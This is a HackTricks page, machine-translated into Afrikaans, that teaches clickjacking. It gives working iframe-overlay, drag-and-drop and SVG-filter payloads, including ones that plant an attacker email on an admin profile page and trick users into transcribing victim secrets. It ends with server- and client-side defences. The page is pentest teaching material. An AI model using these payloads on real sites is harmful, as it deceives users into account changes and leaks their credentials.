Clickjacking
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Wat is Clickjacking
In ’n clickjacking-aanval word ’n gebruiker mislei om op ’n element op ’n webblad te klik wat óf onsigbaar is óf as ’n ander element vermom is. Hierdie manipulasie kan tot onbedoelde gevolge vir die gebruiker lei, soos die aflaai van malware, omleiding na kwaadwillige webblaaie, verskaffing van credentials of sensitiewe inligting, geldoorplasings, of die aanlyn aankoop van produkte.
Voorafinvulvorms-truuk
Soms is dit moontlik om die waarde van velde in ’n vorm te vul deur GET parameters te gebruik wanneer ’n bladsy gelaai word. ’n Aanvaller kan hierdie gedrag misbruik om ’n vorm met arbitraire data te vul en die clickjacking payload te stuur sodat die gebruiker die knoppie Submit druk.
Vul vorm met Drag&Drop
As jy benodig dat die gebruiker ’n vorm invul maar jy wil hom nie direk vra om sekere inligting te tik (soos die e-pos en/of ’n spesifieke wagwoord wat jy ken) nie, kan jy hom net vra om iets te Drag&Drop wat jou beheerste data sal skryf, soos in this example.
Basiese Payload
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Meertraps Payload
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Sleep&Loslaat + Klik payload
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
If you have identified an XSS-aanval wat vereis dat ’n gebruiker op ’n element klik om die XSS te aktiveer en die bladsy is vatbaar vir clickjacking, kan jy dit misbruik om die gebruiker te bedrieg om op die knoppie/skakel te klik.
Voorbeeld:
Jy het ’n self XSS in sekere privaat rekeningbesonderhede gevind (besonderhede wat slegs jy kan stel en lees). Die bladsy met die vorm om hierdie besonderhede te stel is vatbaar vir Clickjacking en jy kan die vorm voorinvul met die GET-parameters.
’n aanvaller kan ’n Clickjacking-aanval op daardie bladsy voorberei deur die vorm met die XSS payload voor te invul en die gebruiker te bedrieg om die vorm in te stuur. Dus, wanneer die vorm ingedien is en die waardes verander is, sal die gebruiker die XSS uitvoer.
DoubleClickjacking
Firstly explained in this post, hierdie tegniek sal die slagoffer vra om dubbel te klik op ’n knoppie van ’n pasgemaakte bladsy wat in ’n spesifieke ligging geplaas is, en gebruik die tydsverskille tussen mousedown en onclick events om die slagoffer-bladsy tydens die dubbelklik te laai sodat die slagoffer werklik op ’n legitieme knoppie in die slagoffer-bladsy klik.
An example could be seen in this video: https://www.youtube.com/watch?v=4rGvRRMrD18
A code example can be found in hierdie bladsy.
Warning
Hierdie tegniek laat toe om die gebruiker te bedrieg om op een plek op die slagofferbladsy te klik en sodoende alle beskerming teen clickjacking te omseil. Daarom moet die aanvaller sensitiewe aksies vind wat met net 1 klik uitgevoer kan word, soos OAuth prompts wat toestemmings aanvaar.
SVG Filters / Cross-Origin Iframe UI Redressing
Moderne Chromium/WebKit/Gecko weergawes laat CSS filter:url(#id) toe om op cross-origin iframes toegepas te word. Die iframe se gerasterde pixels word aan die SVG filtergraf blootgestel as SourceGraphic, dus primitives soos feDisplacementMap, feBlend, feComposite, feColorMatrix, feTile, feMorphology, ens. kan arbitrêr die slagoffer se UI vervorm voordat die gebruiker dit sien, selfs al raak die aanvaller nooit die DOM nie. ’n eenvoudige Liquid-Glass styl filter lyk soos:
<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
- Nuttige primitiewe:
feImagelaai aanvaller-bitmaps (bv., overlays, displacement maps);feFloodbou konstante-kleur matte;feOffset/feGaussianBlurverfyn hoogligte;feDisplacementMaprefrakteer/warp teks;feComposite operator="arithmetic"implementeer arbitrêre per-kanaal wiskunde (r = k1*i1*i2 + k2*i1 + k3*i2 + k4), wat genoeg is vir kontrasversterking, maskering, en AND/OR operasies;feTilesny en repliseer pixel probes;feMorphologylaat strokes groei/krimp;feColorMatrixskuif luma in alfa om presiese masks te bou.
Vervorming van geheime in CAPTCHA-styl versoeke
As ’n endpoint wat in ’n raam geplaas kan word, geheime (tokens, reset codes, API keys) vertoon, kan die aanvaller dit vervorm sodat dit soos ’n CAPTCHA lyk en handmatige transkripsie afdwing:
<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>
Die vervormde pixels mislei die gebruiker om die captcha binne die attacker-controlled <input> te “oplos”, waarvan die pattern die werklike slagoffergeheim afdwing.
Hertoekontekstualisering van victim-insette
Filters kan chirurgies placeholder/validasie-tekst verwyder terwyl gebruikers-toetsaanslae behou word. Een werkvloei:
feComposite operator="arithmetic" k2≈4versterk helderheid sodat grys hulpteks na wit versadig.feTilebeperk die werkarea tot die input-rechthoek.feMorphology operator="erode"verdik die donker glyphs wat deur die victim getik is en stoor dit viaresult="thick".feFloodskep ’n wit plaat,feBlend mode="difference"metthick, en ’n tweedefeComposite k2≈100omskep dit in ’n skerp luma matte.feColorMatrixskuif daardie luma na alpha, enfeComposite in="SourceGraphic" operator="in"hou slegs deur die gebruiker ingetypte glyphs.- Nog ’n
feBlend in2="white"plus ’n dun crop gee ’n skoon tekstblokkie, waarna die attacker hul eie HTML-labels oorlaai (bv. “Enter your email”) terwyl die versteekte iframe steeds die victim origin se wagwoordbeleid afdwing.
Safari sukkel met feTile; dieselfde effek kan gereproduceer word met ruimtelike mattes gebou uit feFlood + feColorMatrix + feComposite vir WebKit-only payloads.
Pixel-probes, logika en toestandsmasjiene
Deur ’n 2–4 px-streek met feTile af te sny en dit na 100% van die viewport te tegel, omskep die attacker die gesampelde kleur in ’n volraam-tekstuur wat na ’n drempel omgesit kan word in ’n boolean-masker:
<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>
Vir willekeurige kleure, ’n feFlood verwysing (bv. #0B57D0) plus feBlend mode="difference" en ’n ander arithmetic composite (k2≈100, k4 as tolerance) gee slegs wit uit wanneer die gemonsterde pixel by die teiken-skakering pas. Deur hierdie maskers in feComposite te voer met afgestemde k1..k4 ontstaan logika-hekke: AND via k1=1, OR via k2=k3=1, XOR via feBlend mode="difference", NOT via blending teen wit. Deur die hekke te ketting maak dit ’n volle adder binne die filter-grafiek, wat bewys dat die pyplyn funksioneel volledig is.
Aanvallers kan dus UI-toestand lees sonder JavaScript. Voorbeelde van booleans uit ’n modale werkstroom:
- D (dialoog sigbaar): meet ’n verduisterde hoek en toets teen wit.
- L (dialoog gelaai): meet die koördinate waar die knoppie verskyn wanneer dit gereed is.
- C (kontroleboks gemerk): vergelyk die checkbox-pixel met die aktiewe blou
#0B57D0. - R (rooi sukses/faling-banier): gebruik
feMorphologyen rooi drempels binne die banier-reghoek.
Elke opgespoorde toestand beheer ’n ander overlay bitmap ingebed via feImage xlink:href="data:...". Maskering van daardie bitmaps met D, L, C, R hou die overlays gesinkroniseer met die werklike dialoog en lei die slagoffer deur meerstap-werkstrome (wagwoordherstel, goedkeuringe, vernietigende bevestigings) sonder om ooit die DOM bloot te stel.
Browser extensions: DOM-based autofill clickjacking
Afgesien van iframing van slagoffer-bladsye, kan aanvallers blaaier-uitbreidings se UI-elemente teiken wat in die bladsy ingespuit word. Wagwoordbestuurders teken autofill-afrolmenu’s naby gefokusde invoervelde; deur ’n aanvaller-beheerde veld te fokus en die uitbreiding se dropdown te verberg/okludeer (opacity/overlay/top-layer tricks), kan ’n gedwonge gebruiker-kliek ’n gestoor item kies en sensitiewe data in aanvaller-beheerde invoervelde invul. Hierdie variant vereis geen iframe-blootstelling nie en werk volledig deur DOM/CSS-manipulasie.
- For concrete techniques and PoCs see: BrowExt - ClickJacking
Strategies to Mitigate Clickjacking
Kliëntkant-verdedigings
Skripte wat op die kliëntkant uitgevoer word kan optree om Clickjacking te voorkom:
- Verseker dat die toepassingvenster die hoof- of boonste venster is.
- Maak alle rame sigbaar.
- Voorkom klikke op onsigbare rame.
- Opspoor en waarsku gebruikers oor potensiële Clickjacking-pogings.
Egter, hierdie frame-busting skripte kan omseil word:
- Blaaiers se Sekuriteitsinstellings: Sommige blaaiers kan hierdie skripte blokkeer op grond van hul sekuriteitsinstellings of gebrek aan JavaScript-ondersteuning.
- HTML5 iframe
sandboxAttribute: ’n aanvaller kan frame-buster skripte neutraliseer deur diesandboxattribuut te stel metallow-formsofallow-scriptswaardes sonderallow-top-navigation. Dit verhinder dat die iframe kan verifieer of dit die boonste venster is, e.g.
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
Die allow-forms en allow-scripts waardes laat aksies binne die iframe toe terwyl topvlak-navigasie gedeaktiveer word. Om die bedoelde funksionaliteit van die geteikende webwerf te verseker, mag addisionele permissies soos allow-same-origin en allow-modals nodig wees, afhangend van die tipe aanval. Blaaierkonsole-boodskappe kan aandui watter permissies toegelaat moet word.
Bedienerzijde Verdediging
X-Frame-Options
Die X-Frame-Options HTTP response header informeer blaaiers oor die legitiemheid om ’n bladsy in ’n <frame> of <iframe> te render, en help om Clickjacking te voorkom:
X-Frame-Options: deny- Geen domein kan die inhoud in ’n raam laai.X-Frame-Options: sameorigin- Slegs die huidige webwerf kan die inhoud in ’n raam laai.X-Frame-Options: allow-from https://trusted.com- Slegs die gespesifiseerde ‘uri’ kan die bladsy in ’n raam laai.- Let op die beperkings: as die blaaier hierdie direktief nie ondersteun nie, mag dit nie werk nie. Sommige blaaiers verkies die CSP frame-ancestors-direktief.
Content Security Policy (CSP) frame-ancestors directive
frame-ancestors directive in CSP is die aanbevole metode vir Clickjacking-beskerming:
frame-ancestors 'none'- Vergelykbaar metX-Frame-Options: deny.frame-ancestors 'self'- Vergelykbaar metX-Frame-Options: sameorigin.frame-ancestors trusted.com- Vergelykbaar metX-Frame-Options: allow-from.
Byvoorbeeld, die volgende CSP laat slegs framing van dieselfde domein toe:
Content-Security-Policy: frame-ancestors 'self';
Further details and complex examples can be found in the frame-ancestors CSP documentation and Mozilla’s CSP frame-ancestors documentation.
Content Security Policy (CSP) with child-src and frame-src
Content Security Policy (CSP) is ’n sekuriteitsmaatreël wat help om Clickjacking en ander kode-inspuitaanvalle te voorkom deur te bepaal watter bronne die blaaier moet toelaat om inhoud te laai.
frame-src Directive
- Bepaal geldige bronne vir frames.
- Meer spesifiek as die
default-srcdirektief.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Hierdie beleid laat frames toe vanaf dieselfde oorsprong (self) en https://trusted-website.com.
child-src Direktief
- Ingevoer in CSP-vlak 2 om geldige bronne vir web workers en frames te stel.
- Dien as ’n terugvalopsie vir frame-src en worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Hierdie beleid laat frames en workers toe vanaf dieselfde oorsprong (self) en https://trusted-website.com.
Gebruiknotas:
- Uitfasering: child-src word uitgefaseer ten gunste van frame-src en worker-src.
- Val-terug-gedrag: As frame-src afwesig is, word child-src as ’n val-terug vir frames gebruik. As albei afwesig is, word default-src gebruik.
- Strikte brondefinisie: Sluit slegs vertroude bronne in die riglyne in om misbruik te voorkom.
JavaScript Frame-Breaking Scripts
Al is dit nie volkome betroubaar nie, JavaScript-based frame-busting scripts kan gebruik word om te voorkom dat ’n webblad in ’n frame geplaas word. Voorbeeld:
if (top !== self) {
top.location = self.location
}
Gebruik van Anti-CSRF Tokens
- Token-validasie: Gebruik anti-CSRF tokens in webtoepassings om te verseker dat statusveranderende versoeke doelbewus deur die gebruiker gemaak word en nie deur ’n Clickjacked-bladsy nie.
Verwysings
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
- DOM-based Extension Clickjacking (marektoth.com)
- SVG Filters - Clickjacking 2.0
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

